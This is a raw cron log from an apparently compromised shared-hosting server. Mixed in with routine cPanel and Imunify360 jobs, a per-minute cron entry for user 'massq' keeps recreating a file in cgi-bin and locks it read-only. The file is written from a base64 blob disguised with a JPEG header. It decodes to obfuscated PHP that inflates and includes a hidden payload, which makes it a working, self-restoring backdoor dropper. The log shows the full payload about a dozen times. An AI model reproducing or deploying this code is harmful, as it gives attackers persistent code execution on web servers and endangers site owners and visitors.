Sep 11 07:32:01 server CROND[6589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:32:01 server CROND[6590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:33:01 server CROND[6981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:33:01 server CROND[6982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:33:01 server CROND[6983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:34:01 server CROND[7364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:34:01 server CROND[7365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:34:01 server CROND[7366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:35:01 server CROND[7917]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:35:01 server CROND[7916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:35:01 server CROND[7920]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 07:35:01 server CROND[7923]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 07:35:01 server CROND[7928]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:35:01 server CROND[7921]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 07:35:01 server CROND[7927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:35:01 server CROND[7924]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 07:35:01 server CROND[7925]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:36:01 server CROND[8837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:36:01 server CROND[8838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:36:01 server CROND[8839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:37:01 server CROND[9314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:37:01 server CROND[9313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:37:01 server CROND[9316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:38:01 server CROND[9707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:38:01 server CROND[9708]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:38:01 server CROND[9709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:39:01 server CROND[10138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:39:01 server CROND[10136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:39:01 server CROND[10140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:39:01 server CROND[10139]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 07:40:01 server CROND[10640]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 07:40:01 server CROND[10641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:40:01 server CROND[10643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:40:01 server CROND[10649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:40:01 server CROND[10645]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:40:01 server CROND[10646]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 07:40:01 server CROND[10644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:40:01 server CROND[10647]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 07:41:01 server CROND[11490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:41:01 server CROND[11491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:41:01 server CROND[11492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:42:01 server CROND[11886]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 07:42:01 server CROND[11887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:42:01 server CROND[11888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:42:01 server CROND[11889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:43:01 server CROND[12260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:43:01 server CROND[12261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:43:01 server CROND[12262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:44:01 server CROND[12664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:44:01 server CROND[12665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
